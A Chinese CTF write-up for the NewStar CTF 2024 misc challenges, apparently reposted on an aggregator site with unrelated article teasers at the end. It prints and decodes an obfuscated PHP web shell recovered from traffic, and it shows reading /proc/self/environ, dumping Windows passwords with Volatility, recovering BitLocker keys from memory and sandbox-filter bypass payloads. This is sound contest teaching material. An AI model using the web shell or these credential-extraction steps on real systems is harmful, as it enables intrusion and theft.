NewStar CTF 2024 misc WP

decompress

压缩包套娃,一直解到最后一层,将文件提取出来

image-20241024133500142

提示给出了一个正则,按照正则爆破密码,一共五位,第四位是数字

 ^([a-z]){3}\d[a-z]$

一共就五位数,直接ARCHPR爆破,得到密码 xtr4m,解压得到flag

image-20241024143051751

image-20241024133955066

pleasingMusic

题目描述中提到:

一首歌可以好听到正反都好听

根据提示(其实也能听出来后半段音乐是倒放出来的)将音频进行反向处理实现倒放,再解析其中的摩斯电码(Morse Code)。

界面 1
界面 2

可以手动翻译摩斯电码表,也可以使用在线解码。

粗的表示:-,细的表示:.间隔或者空格:用空格或者/分割

Morse 解密结果

image-20241024134921354

WhereIsFlag

纯命令手工查找,找到真正的 flag 在 /proc/self/environ 文件(可用于获取当前进程的环境变量)内,只要执行下面的命令就能拿到 flag.

 cat /proc/self/environ

image-20241024135548272

Labyirinth

image-20241024135921781

image-20241024135957928

兑换码

image-20241024140300688

wireshark_checkin

image-20241024140542352

image-20241024140718246

wireshark_secret

image-20241024141014162

image-20241024141234550

联系题目描述,找到提瓦特文字对照表

image-20241024141652291

对照表解出了很多东西

我一开始一直试的中间的那串大的,但是大小写都不对

后面继续解密四周小的密文,得到:FLAGISASENTENCE IIAAELGTSFKFA

DOYOUKNOWFENCE MESIOAABGNHNSGOGMYEIADE

提示 flag 是一句话,还有 FENCE 也就是栅栏加密MESIOAABGNHNSGOGMYEIADE

https://ctf.bugku.com/tool/railfence

image-20241024142911077

包裹 flag 提交发现没对,换小写发现正确

最终 flag为:flag{maybegenshinisagoodgame}

字里行间的秘密

使用vscode打开,发现U+202c的的宽零字节

image-20241024143304292

image-20241024143434003

得到密码:it_is_k3y

使用密码打开word,发现空白,ctr+A全选,复制出来,得到flag

image-20241024143550459

热心助人的小明同学

vol.py -f image.raw imageinfo

image-20241024143952884

可知建议选择的操作系统版本有:Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86. 这里选择第一个(Win7SP1x86_23418)进行尝试,反正不行就试试别的。

voL.py -f image.raw --profile=Win/SP1x86_23418 lsadump

image-20241024144028191

开头的 0x48 并不是密码,你可以理解为是一个标志,除开这个你就能得到系统密码:ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh.

最终flag 为 flag{ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh}

用溯流仪见证伏特台风

第一步,打开新闻视频的链接

bilibili1

bilibili2

根据视频,我们获得以下信息:

  • 所需报告:The Rise of Dark Power...
  • 对应版本:最初 4 月 15 日版本
  • 现状:所需信息已经被篡改

我们直接搜索报告名称

https://threatmon.io/storage/the-rise-of-dark-power-a-close-look-at-the-group-and-their-ransomware.pdf

google

duckduckgo

可以看到我们需要的 PDF 文件,但是视频中又提到报告内容已经被篡改

篡改

所以现版本肯定是没有我们所需的信息的

出题人之前运气好,搜到过可以直接下载的原始版本 PDF,直接就可以开做。

但运气不好怎么办呢?我们请出我们的网站时光机—— wayback machine.

wayback 1

输入官网链接,启动溯流仪,正好有 4 月 15 日的版本。

wayback 2

wayback 3

下载文件,剩下的内容就和视频中演示的一样了。

移开封底图片,拿到 Domain 框里的东西,然后 MD5,

当然,你要是能用肉眼直接把视频里的模糊信息读出来,出题人也认了。

domain

md5

包上 flag,得到 flag{6c3ea51b6f9d4f5e}.

Herta's Study

http导出得到upload.php

image-20241024145523278

 <?php
    $payload=$_GET['payload'];
    $payload=shell_exec($payload);
    $bbb=create_function(
        base64_decode('J'.str_rot13('T').'5z'),
        base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRp
        Kz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQo
        gICAgfQ0KfQ0KcmV0dXJuICRuczs==')
    );
    echo $bbb($payload);
 ?>

str_rot13() 函数对字符串执行 ROT13 编码。

ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。

"."是php里的连接符,所以上传的php代码其实为:

 <?php
 $payload = $_GET['payload'];
 $payload = shell_exec($payload);
 $bbb = function ($ns) {
    $ns = base64_encode($ns);
    for ($i = 0; $i < strlen($ns); $i++) {
        if ($i % 2 == 1) {
            $ns[$i] = str_rot13($ns[$i]);
        }
    }
    return $ns;
 };
 echo $bbb($payload);
 ?>

根据代码,可以看到,得出的结果经过base64编码,然后把里面的奇数位字符用str_rot13编码了。

然后去找到请求flag的包,解码,但是发现是fake flag。

 <?php
 $result='ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==';
 $bbb=function ($ns) {
    for ($i = 0; $i < strlen($ns); $i++) {
        if ($i % 2 == 1) {
            $ns[$i] = str_rot13($ns[$i]);
        }
    }
    return $ns;
 };
 echo base64_decode($bbb($result));
 ?>

后来去找了下f.txt,解出来flag:flag{sH3_i4_S0_6eAut1fuL.}

BGM 坏了吗?

用 Audacity 打开音频很容易发现结尾处右声道有信息,而左声道是噪音

audacity 1

根据题目描述是拨号音,但是直接放解不出来,需要删掉噪音

选择 分离立体音到单声道 » 关闭左声道 » 导出

image-20241024151621861

image-20241024151650045

image-20241024151704929

audacity 4

按键音(即DTMF)解密网站:DTMF Decoder

image-20241024151752387

image-20241024151805669

包上 flag{} 即可

AmazingGame

安卓私有目录位于 /data/user/0/<包名>

安卓的 shared_prefs 一般用来存放软件配置数据

修改文件即可更改已通过的关卡数据

通过第一关后,关掉游戏(这点很重要)

ADB 链接手机执行

shell

 adb shell
 run-as com.pangbai.projectm
 cd shared_prefs
 cat net.osaris.turbofly.JumpyBall.xml

xml

 <?xml version='1.0' encoding='utf-8' standalone='yes' ?>
 <map>
    <boolean name="cockpitView" value="true" />
    <int name="unlockedsolotracks" value="2" />
    <int name="unlockedtracks" value="2" />
    <int name="best0m0" value="130" />
    <int name="unlockedships" value="1" />
    <int name="userid" value="9705893" />
 </map>

软件有 23 个关卡,我们把关卡解锁数改为 23

正常来说应该用 adb push 来修改文件,这里我们为了方便直接把 2 替换成 23

shell

 sed -i 's/2/23/g' net.osaris.turbofly.JumpyBall.xml

打开游戏发现关卡全部解锁,随便游玩 23 关,等游戏结束即可获得 flag

ez_jail

本题的原意是只考查 {} 在 C++ 里的(宏)替代运算符这个知识

只要关键词用得对,网上一搜就能搜到,但是被出题人执行坏了,测题时出现了一堆非预期。考虑了一下各个知识点的难度,感觉非预期的难度和预期解相差不大,就索性变成了一道半开放性的题目

我们观察代码的 check 函数

python

def cpp_code_checker(code):
if "#include" in code:
return False, "Code is not allowed to include libraries"
if "#define" in code:
return False, "Code is not allowed to use macros"
if "{" in code or "}" in code:
return (
False,
"Code is not allowed to use `{` or `}`,but it needs to be a single function",
)
if len(code) > 100:
return False, "Code is too long"
return True, "Code is valid"

这段代码看似过滤了 #include #define 等,但不知道同学们有没有意识到 # 后加空格就能绕过这里,也就是说可以通过宏定义来做到编译前预处理

所以 Payload 可以是这样(感谢 yuro 师傅提供解法)

cpp

# define user_code() write(STDOUT_FILENO, "Hello, World!", 13);

预期解是找到 C++ 的替代运算符的相关资料,然后使用 <% %> 替换{},Payload 如下

cpp

void user_code()<%write(1, "Hello, World!\n", 14);%>

除此之外,还可以使用指针,把 user_code() 变成一个空函数。输出的话可以通过定义一个全局变量接收输出函数的返回值来实现,其 payload 如下(感谢 c_lby 师傅提供解法)

cpp

int a=puts("Hello, World!");
int (*user_code)()=rand;

或者可以这样(感谢 KAMIYA 选手提供解法)

cpp

 int x = (printf("Hello, World!\n"), 0);
 using user_code = void(*)();

OSINT-MASTER

给了图片,先看图片的 EXIF 信息,拍摄时间是 2024-8-18 14:30,照片中可以在机翼上看到一个标号 B-2419

直接在 flightaware 中搜索这个标号,应该是飞机的注册号

可以搜到这是一架东航的飞机

flightaware 搜索结果

在下面可以找到历史航班

历史航班

可以看到,在 2024 年 8 月 18 日这四架航班中,只有红框中这架符合 14:30 在飞行中,点进去看一下详细信息

找到航班号 MU5156

航班号

下面根据照片拍摄时间和航行轨迹来找照片拍摄时飞机经过的地级市,我这里使用航班管家,有了航班号直接搜

14:30 在 14:13 和 14:51 中间偏左的位置

航班轨迹

放大来看,此时飞机大致经过邹城市

邹城市

经过搜索,邹城市属于济宁市,济宁市是地级市

济宁市

所以答案是 flag{MU5156_济宁市}

扫码领取flag

1.解压得到很多压缩包文件,使用winhex查看,发现是8950开头,都将文件修改为后缀名.jpg

2.使用工具对所有png图片进行CRC32自动化爆破修复,会得到每个图片是二维码的残图

image-20241024162815346

image-20241024162756967

3.使用PPT对二维码进行拼接成一张二维码图片

image-20241024162740235

4使用OCR扫描二维码得到 flag

image-20241024162730431

flag{Then_d0_you_kn0w_w6at_Hanx1n_cod3_1s?}

擅长音游的小明同学

题目简介如下:

主要是帮助新人了解一下磁盘取证仿真的过程,为了让他符合一点 Week4 的特质还附赠了一点图片隐写,还有出题人活全家小trick。

如果有强大的必应搜索能力,除了 trick 需要动脑子,其他的按网上教程其实都有,不过下面也有就是了

先看介绍:

小明是资深的音游玩家,有一天他游玩某知名街机音游后顺利使 rating 上 w5,

当他将成绩图上传到电脑上时,他的桌面【直接显现】了神秘的东西

然而没等他反应过来,他的电脑就消失不见,只剩下一个磁盘镜像(?),

这时小明脑海中有一个声音告诉他,如果他找不出来神秘的东西就会抽走他的音游底力,

小明顿时慌了,想希望你帮帮他【利用镜像启动系统】,找到找到令人头疼的秘密。

首先我们能知道什么?

  1. 小明是音游吃,底力没了会很伤心
  2. 桌面上有秘密,说白了就是 Flag,而且很明显
  3. 你手里有一个磁盘镜像
  4. 算是个提示:使用磁盘镜像启动系统

这个提示告诉我们解题流程类似于仿真取证。

预期解法:使用 FTK imager + 虚拟机进行仿真找出 Flag.

TIP

科普常用小工具:FTK imager ——可以制作镜像、挂载镜像、分析镜像,数据恢复等操作,不管是出题还是解题都十分好用,这里正常解法使用 4.2.0 版本,高版本可能会出现一些问题。

想要进行仿真取证的话,了解系统的基本信息是非常必要的,这里我们使用最原始方法为例:

首先我们打开 FTK imager 加载拿到的镜像,我们看到所有分区都加载完毕,发现磁盘名称有提示,说明系统是 Windows7 x64.

FTK imager

由提示而来,看看桌面的背景图片和文档,能不能直接提取 Flag.

瞅一眼图片,路径在 C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\ThemesC:\Windows\Web\Wallpaper\Windows 可以看到十分抽象的壁纸,根本没有能明显看见的东西,瞅一眼桌面文件夹,只有一大坨文件,也没有什么直观能看见的,内容倒是有:

桌面文件夹

文件包含的一些内容:

要开始了哟~.txt真相.txt

plaintext

 今天舞萌彩框了好开心啊o(* ̄▽ ̄*)ブ
 我要把这一刻用照片保存下来
 不过在拍摄rating变化的瞬间总感觉有什么东西藏进照片里了
 打开也没发现什么异常,但是体积好像变大了一点
 是错觉吗?

我们确定了有一张日常图片,而且一定是藏了东西的,我们可以在图片文件夹寻找到照片进行分析(哎舞萌痴):

舞萌

使用 010 Editor 进行查看的话,可以发现除了正常的照片内容,还有意义不明的文字和一个压缩包(实际上使用 binwalk 梭一下也很正常):

010 Editor

文字内容:

plaintext

 ?????_DIMENSION_1200x800

压缩包可以使用 binwalk 提取并解压:

secret.txt

plaintext

 听好了听好了听好了听好了听好了听好了听好了:
 
 1919年8月10日,世界就此陷落,
 陷落的世界都将迎来一场漩涡,
 为这个世界带来有关弗拉格尚未知晓的真相。
 
 但发掘真相的道路被加诸混沌的历练
 世界的宽高未被正确丈量
 当真相被混沌打乱时
 真相将不复存在
 
 也许,在世界的重置和轮回中能找到发现真相的方法……
 
 至此,尘埃落定
 至此,一锤定音
 
 #音游# #NewStarcaea# #Misc#

这里可能就需要一些脑洞了,这个世界的宽高和上面的 Dimension 1200×800 能想到是分辨率吗?

实际上到这里信息刺探就已经结束了,下面开始进行仿真启动,这里使用了 Vmware,如果你想使用 HyperV 或者 VirtualBox 的话可以搜索:如何将 E01 转为 VHD / VDI.

注意

FTK Imager 4.5.0.2 版本可能会出问题,建议使用 4.2.0 版本。

进行以下选择,直接将镜像映射成物理磁盘,方便虚拟机直接使用启动:

映射

一定要选择挂载方式位 Writable 不然会因为无法写入而报错,点击 Mount 挂载,下面出现挂载结果表示成功:

挂载

挂载成功后我们打开虚拟机,这里使用 Vmware,由于使用物理硬盘需要管理员权限,所以我们需要使用管理员启动 Vmware,右击快捷方式,打开文件位置,再次右击选择兼容性,勾选以管理员权限启动:

管理员启动 VMware

启动之后新建虚拟机就可以了。

选择 Windows7 x64 配置,一路全选推荐,其中需要注意的如下:

新建虚拟机1

新建虚拟机2

新建虚拟机3

新建虚拟机4

为什么要选择 UEFI?

结合搜索引擎和对挂载硬盘的研究,不难发现除放置文件的硬盘,还有两个小硬盘,对应的就是 ESP 分区 和 MSR 分区,这些特征符合 GPT 分区格式的硬盘,不同于 MBR,因此需要选择 UEFI,这里不展开讨论,有兴趣的师傅们可以慢慢了解。

新建虚拟机5

新建虚拟机6

WARNING

这里选择要与挂载结果的显示物理磁盘的挂载位置要一致。

接下来就可以启动了,如果提示被占用,可以检查挂载是否挂载为「可写」,也可以尝试重启系统,使用 FTK 直接挂载,再试一次。

当你进入系统后就不得不想起前面的提示:

plaintext

 但发掘真相的道路被加诸混沌的历练
 世界的宽高未被正确丈量
 当真相被混沌打乱时
 真相将不复存在
 
 1200x800

Flag 其实是拿桌面图标堆的,要是不是 1200×800 的分辨率启动就会被重新排列,一旦被重新排列,图标就再也回不去了

桌面

你需要切换到 Guest 调整窗口到相应分辨率再切换到 Admin 账号,就看到了:

Flag

最终:flag{wowgoodfzforensics}

WriteUp 是出题人视角的解法,如果是新生想要解题,则大概率做题路径会先根据题目介绍先仿真启动虚拟机,然后发现桌面什么都没有,根据留下的引导发掘出真相,然后重新启动一遍虚拟机。(一想到发现真相的新人们要重新开始笑容就到了我的脸上。)

擅长加密的小明同学

涉及到取证常见的 Volatility 和 GIMP 看图的组合技,还融入(缝)了 BitLocker 解密环节。

拿到题目,题目含有一个 .raw 镜像和一个 .vhd 镜像,尝试挂载 vhd 镜像发现有 BitLocker 加密,看一眼简介:

小明在学习中对各类文件加密的方式起了浓厚的兴趣,并把自己珍贵资料和 Flag 进行了套娃式加密。然而,他却在某天的凌晨三点选择了重装系统,本来他就记不住自己的密码,还丢失了备份密钥…… 据受害者回忆,【他曾经使用画图软件把密码写了下来】,尽管备份已经丢失,如果能成功看到程序运行的样子,说不定就找回密码了,但是硬盘的加密怎么办呢,哎呀~要是有软件能直接破解就好了www

明确目标,我们围绕套娃加密分析:

双击 vhd 发现有 BitLocker,BitLocker 怎么解?理论上没有密码和恢复密钥还真解不开,也没有软件能直接破解,但是 dump 内存镜像的机器是成功解密 BitLocker 的,内存中会残留着 BitLocker 的密钥,而借助内存镜像来解密 BitLocker 的软件确实是有的,他是 Elcomsoft Forensic Disk Decryptor,基本上搜到的博客都用它,使用以上软件,按图示步骤解密:

step1

选择第一项「解密或挂载硬盘」:

step2

由于题目给了 vhd 文件,所以选使用镜像文件的第二项:

step3

数据来源选择被加密的镜像,而内存转储文件就选题目给的 raw 文件:

step4

一顿操作猛如虎,你就拿到了恢复密钥,这时候你就可以解锁被加密的 vhd 了,软件可以导出解密内容为 raw 格式镜像,raw 格式处理会麻烦一点,但不是不可以。这里在 “更多选项” 选择用恢复密钥解密,得到:

step5

然后你会发现套娃的第二层加密:

7z 在密码复杂的情况下基本不可能被解出密码,根据提示,我们得知小明曾经使用画图软件把密码写了下来,我们可以借助内存镜像看到程序运行的样子找回密码。

在这里我们借助 volatility 和 GIMP 的力量解决问题:

首先按照上一道取证,分析镜像后查看进程:

Volatility 1

Volatility 2

发现 mspaint.exe(画图进程),我们提取出来,使用 memdump:

memdump

提取出的程序对应的 dmp 文件是含有程序运行时的显示内容的,我们只需要寻找运行时图像在 dmp 文件中的位置,然后想办法让他显示出来,这里我们就可以借助 GIMP 通过调整偏移,高,宽的方式达到上面的目的。

在此之前,记得改后缀为 .data,拉入 GIMP 打开,可以看到:

gimp

我们现在就是要调节位移、宽度、高度来显现程序运行时显示的内容。

小提示

  1. 一般正常的内存镜像的话,图像类型我们都选择「RGB 透明」
  2. 适当调大宽高,能显示多一点内容,但别调太高,小心程序崩了
  3. 位移看着拉,先拉到感觉有东西显示的位置,感觉差不多这样吧,一般画图就是白的夹依托的感觉:

    白的夹依托

  4. 调好位移就调宽高,宽和高实际上就是和程序窗口大小有关,所以别太高,主要是宽度,如果和图上一样↘斜,那么你就该调高宽度,箭头一点一点加上去,如果是↗,你就得一点一点减下来,知道看上去正常了,下面是较为正常,也够用:

    差不多恢复

    虚拟机真实照片

  5. 936 其实已经是很正常了(上附虚拟机真实图片),其实如果你发现内容如果很不对劲,频繁重复的话,你也可以适当减小整数倍(当然这里会看起来很窄):

    窄

总之多尝试 ~

最后我们得到了:

解压密码

压缩包密码:rxnifbeiyomezpplugho

解压得到 Flag:Flag{5ZCb44Gv5Y+W6K+B5pys5b2T44Gr5LiK5omL}

ezblockchain

本题是一题区块链题。

浏览器安装 MetaMask 插件,在 MetaMask里 添加网络,网络符号和货币符号可以随便输

MetaMask

通过自己的账号地址在 faucet 获得测试代币

faucet

nc 获得合约部署账号并使用 Metamask 转账

nc

Metamask

交互部署合约,获得合约地址和代码

deploy

source

将代码复制进 Remix 编辑器 内,在「Solidity 编译器」选项卡点击编译,然后切换到「部署 & 发交易」选项卡,环境选择 Injected Provider,选择你有 eth 的账户,合约选择你刚编译的合约,然后加载前面 nc 获得的合约地址

阅读合约代码可以知道,我们要调用 unlock 函数,传入 re@1lY_eA3y_Bl0ckCh@1n 并发送 0.0721 个 eth. 因此在「部署 & 发交易」选项卡的以太币数量填入 0.0721 eth,由于无法填入小数,需将其转为 72100000 Gwei,在 unlock 填入 re@1lY_eA3y_Bl0ckCh@1n,点击 unlock 进行交易。

unlock

交易确认后点击 isSolved 可发现已经变为 true. 此时再 nc 交互即可得到 flag

flag

Alt

本题考察键盘流量的解析。

根据选手反馈,本题难点有二:

  • 一是找的码位对照表不全,没有 KeyPad 区(右手数字小键盘区)的对照;
  • 二是不知道 Alt 在这道题里有什么作用。

第一步我们需要用 tshark 把 USB 数据提取出来,本题的数据为 usbhid 格式,有些题目的格式也可能是 usb.capdata.

bash

 tshark -r keyboard.pcapng -T fields -e usbhid.data > usbdata.txt

然后得到的数据里有一些空行,可以用文本编辑器批量替换掉。我这里截最前面的一段作为示例进行分析:

plaintext

 0400000000000000
 0400590000000000
 0400000000000000
 0400620000000000
 0400000000000000
 04005a0000000000
 0400000000000000
 0000000000000000
 0400000000000000
 0400590000000000
 0400000000000000
 0400620000000000
 0400000000000000
 0400600000000000
 0400000000000000
 0000000000000000
 0400000000000000
 0400610000000000
 0400000000000000
 04005f0000000000
 0400000000000000
 0000000000000000

根据中文互联网上能容易找到的、不用充会员的键盘流量分析相关资料可知,第一字节代表控制键,第二字节保留为 0x00,第三到八字节是我们敲击的键。

有些同学反映,网上的脚本里找不到 0x59 0x62 等等键码对应的按键,原因上面讲过了。其实多读几篇国内的相关文章就会发现它们经常引用一篇名为 Universal Serial Bus (USB) 的文章,把这个文件下载下来,第 55 页就有对应的对照表。

很多同学分析到这里,都会忽略第一字节的 0x04,根据题目名和网上的资料可以知道是按着 Alt 键。那么整个击键流程就比较清晰了:保持 Alt 键的按下状态,按下几个数字键,然后松开 Alt。

直接搜索「Alt 加数字键」,就能知道这是在按Unicode码值输入字符,写个脚本稍微自动化一下或者直接一个个手动看过去,很容易分析出来上面截取分析的这段流量就是在输入 fla 这三个字符,以此类推,就能得到整个 flag.

还有一些同学对流量里的 backspace 退格键有所疑惑,认为是删除了前一个数字或者认为是删除了整个字符。很遗憾两者都不是。

注意题目描述中指明了,flag 含有非 ASCII 字符且语义较通顺。如果退格键是删除了 Alt 加数字键打出来的整个字符的话,得到的 flag 就不含有非 ASCII 字符。 如果退格键是删除了上一个输入的数字的话,得到的 flag 的非 ASCII 部分没有任何语义。反而是忽略了退格键,能得到正确的结果,比如说第一段非 ASCII 字符是键盘流量

因为出题人在出题时是用的 Windows 11 自带记的事本,如果要让 Alt 加数字的结果是中文字符的话,经测试需要按下退格键或者是 Enter 键,也说明 Alt 加数字键输入非 ASCII 字符这个特性在不同软件里不一定能完美复现。除了手动复现按下 Alt 键加数字键这个流程以外,也可以直接使用 Python 的 chr 函数进行计算,就能获得十进制码值对应的字符。

附件内容:链接: https://pan.baidu.com/s/1_5ASgOO7VUzUp1rhDMZYtg?pwd=8mgn 提取码: 8mgn 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/60188.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Git介绍以及SSH配置

目录 1. Git介绍 1.1 Git的基本原理 1.2 Git的主要功能 1.3 Git的优点 1.4 Git的缺点 2. Git安装 3. SSH配置 1. Git介绍 Git是一款功能强大的分布式版本控制系统&#xff0c;最初由Linux操作系统的开发者Linus Torvalds在2005年开发&#xff0c;用于管理Linux内核的源代…

PH热榜 | 2024-11-09

DevNow 是一个精简的开源技术博客项目模版&#xff0c;支持 Vercel 一键部署&#xff0c;支持评论、搜索等功能&#xff0c;欢迎大家体验。 在线预览 1. Shootmail 标语&#xff1a;像Notion一样&#xff0c;可以创建漂亮邮件模板和邮件内容的工具。 介绍&#xff1a;想象一下…

嵌入式学习第21天Linux基础

目录 第1章 Linux 系统介绍 1.1 Unix 操作系统&#xff08;了解&#xff09; 1.2 Linux 操作系统&#xff08;了解&#xff09; 1.3 Linux 操作系统的主要特性&#xff08;重点&#xff09; 1.4 Linux 与 Unix 的区别与联系 1.5 GUN 与 GPL&#xff08;了解&#xff09; …

【小程序安全】小程序反编译

❤️博客主页&#xff1a; iknow181 &#x1f525;系列专栏&#xff1a; 网络安全、 Python、JavaSE、JavaWeb、CCNP &#x1f389;欢迎大家点赞&#x1f44d;收藏⭐评论✍ 0x01 前期准备 知识点准备-小程序结构 1.主体结构 小程序包含一个描述整体程序的 app 和多个描述各自页…

C++ : STL容器(适配器)之stack、queue剖析

STL容器适配器之stack、queue剖析 一、stack、queue的接口&#xff08;一&#xff09;stack 接口说明&#xff08;二&#xff09;queue 接口说明 二、stack、queue的模拟实现&#xff08;一&#xff09;stack、queue是容器适配器stack、queue底层默认容器--deque1、deque概念及…

Kubernetes的基本构建块和最小可调度单元pod-0

文章目录 一&#xff0c;什么是pod1.1pod在k8s中使用方法&#xff08;1&#xff09;使用方法一&#xff08;2&#xff09;使用方法二 1.2pod中容器的进程1.3pod的网络隔离管理&#xff08;1&#xff09;pause容器的作用 1.4 Pod分类&#xff1a;&#xff08;1&#xff09;自主式…

【CUDA】认识CUDA

目录 一、CUDA编程 二、第一个CUDA程序 三、CUDA关键字 四、device管理 4.1 初始化 4.2 Runtime API查询GPU信息 4.3 决定最佳GPU CUDA C 编程指南CUDA C在线文档&#xff1a;CUDA C 编程指南 CUDA是并行计算的平台和类C编程模型&#xff0c;能很容易的实现并行算法。只…

知识中台如何在精简供应链管理中发挥作用?

您如何与供应商沟通并分享您的最佳实践&#xff1f;您如何确保供应商了解您的基准&#xff1f;如果您正在为这些问题烦恼&#xff0c;请不要担心&#xff0c;本文章将为您提供宝贵的见解。 构建具备弹性的供应链模型&#xff0c;其关键在于知识中台的数据质量。若缺乏数据支撑…

Python 在PDF中绘制形状(线条、矩形、椭圆形等)

在PDF中绘制图形可以增强文档的视觉效果。通过添加不同类型的形状&#xff0c;如实线、虚线、矩形、圆形等&#xff0c;可以使文档更加生动有趣&#xff0c;提高读者的阅读兴趣。这对于制作报告、演示文稿或是教材特别有用。本文将通过以下几个示例介绍如何使用Python 在PDF中绘…

Gitlab-执行器为Kubetnetes时的注意事项,解决DNS解析问题

一、Gitlab-Runner 这里对于Runner的理解非常重要。 具体执行ci流水线的叫执行器。执行器可以部署是shell、docker、k8s的pod.执行完任务则生命周期结束。 管理执行器的叫Gitlab-Runner。Runner则是与Gitlab Server的Ci agent.(可以简单这么理解) 二、执行器为Kubetnetes时,DN…

大数据新视界 -- 大数据大厂之 Impala 性能优化:新技术融合的无限可能(下)(12/30)

&#x1f496;&#x1f496;&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎你们来到 青云交的博客&#xff01;能与你们在此邂逅&#xff0c;我满心欢喜&#xff0c;深感无比荣幸。在这个瞬息万变的时代&#xff0c;我们每个人都在苦苦追寻一处能让心灵安然栖息的港湾。而 我的…

讨论一个mysql事务问题

最近在阅读一篇关于隔离级别的文章&#xff0c;文章中提到了一种场景&#xff0c;我们下面来分析一下。 文章目录 1、实验环境2、两个实验的语句执行顺序3、关于start transaction和start transaction with consistent snapshot4、实验结果解释4.1、实验14.2、实验24.3、调整实…

json绘制热力图

首先需要一段热力信息的json&#xff0c;我放在头部了。 然后就是需要de-geo库了。 实现代码如下&#xff1a; import * as d3geo from d3-geoimport trafficJSON from ../assets/json/traffic.jsonlet geoFun;// 地理投影函数// let info {max: Number.MIN_SAFE_INTEGER,mi…

K8S之Prometheus 部署(二十)

部署方式&#xff1a;https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/prometheus 源码目录&#xff1a;kubernetes/cluster/addons/prometheus 服务发现&#xff1a;https://prometheus.io/docs/prometheus/latest/configuration/configuration/#kube…

kafka中节点如何服役和退役

服役新节点 1&#xff09;新节点准备 &#xff08;1&#xff09;关闭 bigdata03&#xff0c;进行一个快照&#xff0c;并右键执行克隆操作。 &#xff08;2&#xff09;开启 bigdata04&#xff0c;并修改 IP 地址。 vi /etc/sysconfig/network-scripts/ifcfg-ens33修改完记…

【Three.js基础学习】21.Realistic rendering

前言 课程回顾 渲染器 1.色调映射 值意在将高动态范围](HDR)值转换为低动态范围(LDR) Three.is中的色调映射实际上会伪造将LDR转换为HDR的过程&#xff0c;即使颜色不是HDR&#xff0c; 结果会产生非常逼真的渲染效果 THREE .NoToneMapping (default) 无色调映射 THREE.Linear…

ORB_SLAM3安装

ORB_SLAM3安装 一.前期准备1.1ubuntu查看当前版本的命令1.2 根据ubuntu版本&#xff0c;更新下载软件源1.3 先下载git1.4 vim语法高亮1.5 常见的linux命令 二.ORB-SLAM3下载2.1 ORB_SLAM3源码下载2.2 安装依赖库2.2.1 依赖库2.2.2 安装pangolin2.2.3 安装opencv2.2.4 Eigen3安装…

无需云端!国产开源大语言模型llama.cpp本地实战

作者&#xff1a;高瑞冬 注&#xff1a; 文章是2023年底写的。代码和运行方式虽有些旧&#xff0c;但基本原理一样。现在出来ollama&#xff0c;vllm等工具框架用来本地部署大模型&#xff0c;顺便更新一下。 [TOC](最后有彩蛋) 背景 上海人工智能实验室与商汤科技…

横向思维导图前端样式

追溯记录图路上 代码如下 index.vue <template><div style"margin-left: 5%;margin-top: 6%"> <el-form style"margin-top: -5%; " :inline"true"><el-form-item label"药品名称"><el-select v-model&qu…

清华大学提出Mini-Omni2:开源多模态模型,功能与GPT-4o媲美!

&#x1f310; 在人工智能领域&#xff0c;多模态模型的发展正如火如荼。今天&#xff0c;我们要介绍的是由清华大学提出的Mini-Omni2&#xff0c;这是一个开源的多模态语言模型&#xff0c;它在功能上与GPT-4o相媲美&#xff0c;能够理解和生成视觉、听觉和文本内容&#xff0…